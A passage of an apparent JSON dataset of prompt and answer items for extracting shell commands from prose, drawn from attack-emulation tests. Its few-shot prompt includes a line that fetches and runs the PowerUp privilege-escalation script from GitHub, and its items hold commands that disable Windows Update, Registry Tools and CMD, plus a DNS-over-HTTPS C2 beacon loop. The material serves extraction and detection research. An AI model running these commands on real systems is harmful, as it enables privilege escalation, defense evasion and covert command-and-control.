when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To query various Windows Registry keys for persistence mechanisms, some of which may succeed or fail depending on the OS, use the following command: reg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\"\nreg query \"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\\\.sys$\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\"\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\"; To query the Windows Registry without generating new processes, you can use the following PowerShell cmdlets: Get-Item and Get-ChildItem. Here's the command to execute: Get-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\" | findstr Windows\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-ChildItem -Path \"HKLM:system\\currentcontrolset\\services\" \nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKLM:SYSTEM\\CurrentControlSet\\Control\\SafeBoot\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"",
    "output": "{\"command_list\": [\"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\\\"\\nreg query \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \\\".*\\\\.sys$\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\"\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\\\"\\n\", \"Get-Item -Path \\\"HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\\\"\\nGet-ChildItem -Path \\\"HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\\\\" | findstr Windows\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\\"\\nGet-Item -Path \\\"HKCU:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\\"\\nGet-Item -Path \\\"HKCU:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\\"\\nGet-Item -Path \\\"HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\\\"\\nGet-Item -Path \\\"HKCU:Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nGet-Item -Path \\\"HKLM:SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\"\\nGet-Item -Path \\\"HKCU:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\"\\nGet-Item -Path \\\"HKCU:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\"\\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\nGet-Item -Path \\\"HKCU:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\nGet-ChildItem -Path \\\"HKLM:system\\\\currentcontrolset\\\\services\\\" \\nGet-Item -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\"\\nGet-Item -Path \\\"HKLM:SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\"\\nGet-ChildItem -Path \\\"HKLM:SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\"\\nGet-ChildItem -Path \\\"HKLM:SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For testing uncommon ports like 8081 that APT33 targets, use the following PowerShell command to display successful port check details: Test-NetConnection -ComputerName #{domain} -port #{port}; You can verify connectivity on an uncommon port by running the command: echo quit | telnet #{domain} #{port}\nexit 0\n",
    "output": "{\"command_list\": [\"Test-NetConnection -ComputerName #{domain} -port #{port}\\n\", \"echo quit | telnet #{domain} #{port}\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using reg.exe via the cmd console, you can disable the Windows Registry Tool to prevent user modifications by executing the following registry command: reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system /v DisableRegistryTools /t REG_DWORD /d 1 /f; To disable the Windows CMD application for the currently logged-in user, you can modify the registry by running the following command in the cmd console: New-ItemProperty -Path \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\System\" -Name DisableCMD -Value 1",
    "output": "{\"command_list\": [\"reg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\policies\\\\system /v DisableRegistryTools /t REG_DWORD /d 1 /f\\n\", \"New-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name DisableCMD -Value 1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    As part of its defense evasion strategy, Redline sets Windows Auto Update to notify before downloading by executing this registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t REG_DWORD /d 2 /f; To prevent connections to Windows Update as part of defense evasion, use the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\" /v \"DoNotConnectToWindowsUpdateInternetLocations\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\" /v \\\"AUOptions\\\" /t REG_DWORD /d 2 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\" /v \\\"DoNotConnectToWindowsUpdateInternetLocations\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an infected host sending numerous DoH queries to a C2 server, triggering threshold-based detection, use the following command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }; This test mimics implant behavior by sending DoH queries at regular intervals, which can be executed with the command: \nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\", \"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1572\\\\src\\\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\\n\"]}"
  },
  {
